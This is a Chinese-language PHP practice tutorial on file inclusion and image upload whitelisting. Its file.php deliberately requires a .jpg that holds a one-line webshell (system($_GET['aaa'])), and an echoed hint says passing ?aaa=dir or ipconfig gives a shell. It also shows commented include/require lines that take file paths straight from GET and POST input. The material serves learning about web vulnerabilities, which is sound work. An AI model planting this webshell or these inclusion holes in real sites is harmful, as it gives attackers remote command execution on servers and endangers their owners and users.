最终效果:
提前在网站根目录创建upload目录:
主页面(文件名为file.php):
php"><html>
<head><meta charset="utf-8"><title>php文件相关练习</title>
</head><h1>php文件相关练习</h1><hr>
<?php//文件包含include或者requirerequire 'content_1.txt';echo $content_test;
?><hr>
<?phpecho "jpg文件包含一句话木马",'<br>';echo "产生空值报错为正常,url中传入?aaa=dir或是=ipconfig即可getshell",'<br>';require 'content_2.jpg'//文件包含存在漏洞,可上传jpg文件或是其他文件然后用包含漏洞打开执行//文件包含的另一种形式,包含POST或GET传入文件//include $_GET['file1'];//require $_POST['file2'];
?><hr>
<form action="#" method="post" enctype="multipart/form-data"><label for="file">文件名:<input type="file" name="file" id="file"><input type="submit" name="submint" value="提交">
</form><?php$allow_list = array("gif", "jpeg", "jpg", "png"); //上传文件后缀(类型)白名单$file_name = explode(".",$_FILES["file"]["name"]); //explode()函数,将字符串以第一个参数“.”为标志分隔开成为数组$file_type = end($file_name); //获取数组最后的元素,确保为最后的元素以免出现识别test.php.jpg这样的文件时出现文件后缀识别错误的bugif((($_FILES["file"]["type"] == "image/gif") //初步判断上传的文件是不是图片类型|| ($_FILES["file"]["type"] == "image/jpeg") //六种常见的文件类型|| ($_FILES["file"]["type"] == "image/jpg")|| ($_FILES["file"]["type"] == "image/pjpeg")|| ($_FILES["file"]["type"] == "image/x-png")|| ($_FILES["file"]["type"] == "image/png"))&& ($_FILES["file"]["size"] <= 204800) //大小不超过200kb&& in_array($file_type, $allow_list)){ //文件后缀(类型)需要在白名单中echo "格式正确".'<br>';if($_FILES["file"]["error"] > 0){echo "传输失败";}else{echo "文件名".$_FILES["file"]["name"]."<br>";echo "文件类型".$_FILES["file"]["type"]."<br>";echo "文件大小".$_FILES["file"]["size"]."<br>";echo "文件临时位置".$_FILES["file"]["tmp_name"]."<br>";echo "传输成功<br>";if(file_exists("upload/".$_FILES["file"]["name"])){//判断upload是否存在上传的文件echo $_FILES["file"]["name"]."文件已存在";}else{move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);//将上传的文件移动到新位置echo "文件已经存储在:"."upload/".$_FILES["file"]["name"];}}}else{if(empty($_FILES)){echo "还未上传任何文件";}else {echo "非法的文件格式";}}
?>
</html>
被包含的txt文件(文件名为content_1.txt):
php"><?php$content_test = 555;
?>
被包含的jpg文件(文件名为content_2.jpg):
命名为content_2.php编辑好后再将后缀改为.jpg,内容为一句话木马
php"><?phpsystem($_GET['aaa']);
?>